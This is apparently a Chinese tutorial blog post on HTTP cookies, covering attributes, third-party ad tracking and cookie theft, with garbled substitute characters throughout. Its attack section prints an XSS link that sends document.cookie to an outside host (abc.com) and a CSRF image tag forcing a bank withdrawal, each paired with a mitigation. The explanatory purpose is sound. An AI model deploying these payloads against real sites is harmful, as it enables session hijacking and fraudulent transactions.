网络早期最大的问题之一是如何管理状态。简而言之,服务器没法知道两个请求是否来自同一个浏览器。当时最简单的方法是在请求时,在页面中插入一些参数,并在下一个请求中传回参数。这须要使用包含参数的隐藏的表单,或者做为URL参数的一部分传递。这两个解决方案都手动操做,容易出错。javascript
网景公司当时一名员工Lou Montulli,在1994年将“cookies”的概念应用于网络通讯,用来解决用户网上购物的购物车历史记录,目前全部浏览器都支持cookies。html
cookie翻译过来是“饼干,甜品”的意思,cookie在网络应用中处处存在,当咱们浏览以前访问过的网站,网页中可能会显示:你好,王三少,这就会让咱们感受很亲切,像吃了一块很甜的饼干同样。java
因为http是无状态的协议,一旦客户端和服务器的数据交换完毕,就会断开链接,再次请求,会从新链接,这就说明服务器单从网络链接上是没有办法知道用户身份的。怎么办呢?那就给每次新的用户请求时,给它颁发一个身份证(独一无二)吧,下次访问,必须带上身份证,这样服务器就会知道是谁来访问了,针对不一样用户,作出不一样的响应。,这就是Cookie的原理。git
其实cookie是一个很小的文本文件,是浏览器储存在用户的机器上的。Cookie是纯文本,没有可执行代码。储存一些服务器须要的信息,每次请求站点,会发送相应的cookie,这些cookie能够用来辨别用户身份信息等做用。chrome
如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器能够用这个码跟踪记录用户的信息,(购物历史,地址信息等)。数据库
cookie能够包含任意的信息,不只仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。跨域
能够按照过时时间分为两类:会话cookie和持久cookie。会话cookie是一种临时cookie,用户退出浏览器,会话Cookie就会被删除了,持久cookie则会储存在硬盘里,保留时间更长,关闭浏览器,重启电脑,它依然存在,一般是持久性的cookie会维护某一个用户周期性访问服务器的配置文件或者登陆信息。浏览器
持久cookie 设置一个特定的过时时间(Expires)或者有效期(Max-Age)缓存
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;
产生Cookie的服务器能够向set-Cookie响应首部添加一个Domain属性来控制哪些站点能够看到那个cookie,例以下面:安全
Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"
若是用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="wang", 若是用户访问www.aaa.com(非zhuanzhuan.58.com)就不会发送这个Cookie。
Path属性能够为服务器特定文档指定Cookie,这个属性设置的url且带有这个前缀的url路径都是有效的。
例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie
Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";
m.zhaunzhuan.58.com/user/ 设置cookie:
Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
可是访问其余路径m.zhuanzhuan.58.com/other/就会得到
cookie: id="123432"
若是访问m.zhuanzhuan.58.com/user/就会得到
cookie: id="123432"
cookie: user="wang"
设置了属性secure,cookie只有在https协议加密状况下才会发送给服务端。可是这并非最安全的,因为其固有的不安全性,敏感信息也是不该该经过cookie传输的.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
chrome 52和firefox 52 开始不安全的(HTTP)是没法使用secure的:
经过docuemnt.cookie能够设置和获取Cookie的值
document.cookie = "user=wang";
console.log(document.cookie);
禁止javascript操做cookie(为避免跨域脚本(xss)攻击,经过javascript的document.cookie没法访问带有HttpOnly标记的cookie。)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly
一般cookie的域和浏览器地址的域匹配,这被称为第一方cookie。那么第三方cookie就是cookie的域和地址栏中的域不匹配,这种cookie一般被用在第三方广告网站。为了跟踪用户的浏览记录,而且根据收集的用户的浏览习惯,给用户推送相关的广告。
如上图(a):用户访问服务器1的一个页面index.html,这个页面和第三方广告网站合做,这个页面还有一张www.advertisement.com域名下的一张广告图ad1.jpg,当请求这张ad1.jpg图片的时候,www.advertisement.com这个服务器会给用户设置cookie
Set-Cookie: user="wang";like="a"; domain="advertisement.com"
记录用户的浏览记录,分配一个user来表示用户的身份。
图(b):用户访问服务器2的一个index.html页面,这个页面也和同一家广告商合做,这个页面也包含一张www.advertisement.com域名下的一张广告图ad2.jpg,当请求这张ad2.jpg图片的时候,浏览器就会向www.advertisement.com发送cookie
Cookie: user="wang"; like="a";
www.advertisement.com收到浏览器发送的cookie识别了用户的身份,同时又把这个页面用户的浏览数据设置cookie
Set-Cookie: buy="b"; domain="advertisement.com"
图(c):很巧,用户访问服务器3的一个index.html页面,这个页面也和那一家广告商合做,这个页面也包含一张www.advertisement.com域名下的一张广告图ad3.jpg,当请求这张ad3.jpg图片的时候,浏览器就会向www.advertisement.com发送cookie
Cookie: user="wang"; like="a"; buy="b"
这样广告公司就能够根据用户的浏览习惯,给用户推送合适的广告。
多数网站使用cookie做为用户会话的惟一标识,由于其余的方法具备限制和漏洞。若是一个网站使用cookies做为会话标识符,攻击者能够经过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是无法分辨用户和攻击者的,由于用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:
网络上的流量能够被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的状况下,攻击者能够读取网络上的其余用户的信息,包含HTTP Cookie的所有内容,以便进行中间的攻击。好比:拦截cookie来冒充用户身份执行恶意任务(银行转帐等)。
解决办法:服务器能够设置secure属性的cookie,这样就只能经过https的方式来发送cookies了。
若是攻击者可使DNS缓存中毒,那么攻击者就能够访问用户的Cookie了,例如:攻击者使用DNS中毒来建立一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。而后攻击者能够从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,因为 www.demo.com和h123456.www.demo.com是同一个子域,因此浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。
通常状况下是不会发生这种状况,一般是网络供应商错误。
使用跨站点脚本技术能够窃取cookie。当网站容许使用javascript操做cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时能够拿到用户的cookie信息。
例子:
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>
当用户点击这个连接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者一样能够拿cookie搞事情。
解决办法:能够经过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操做cookie。
例如,SanShao可能正在浏览其余用户XiaoMing发布消息的聊天论坛。假设XiaoMing制做了一个引用ShanShao银行网站的HTML图像元素,例如,
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
若是SanShao的银行将其认证信息保存在cookie中,而且cookie还没有过时,(固然是没有其余验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的状况下受权交易。
解决办法:增长其余信息的校验(手机验证码,或者其余盾牌)。
若是你喜欢咱们的文章,关注咱们的公众号和咱们互动吧。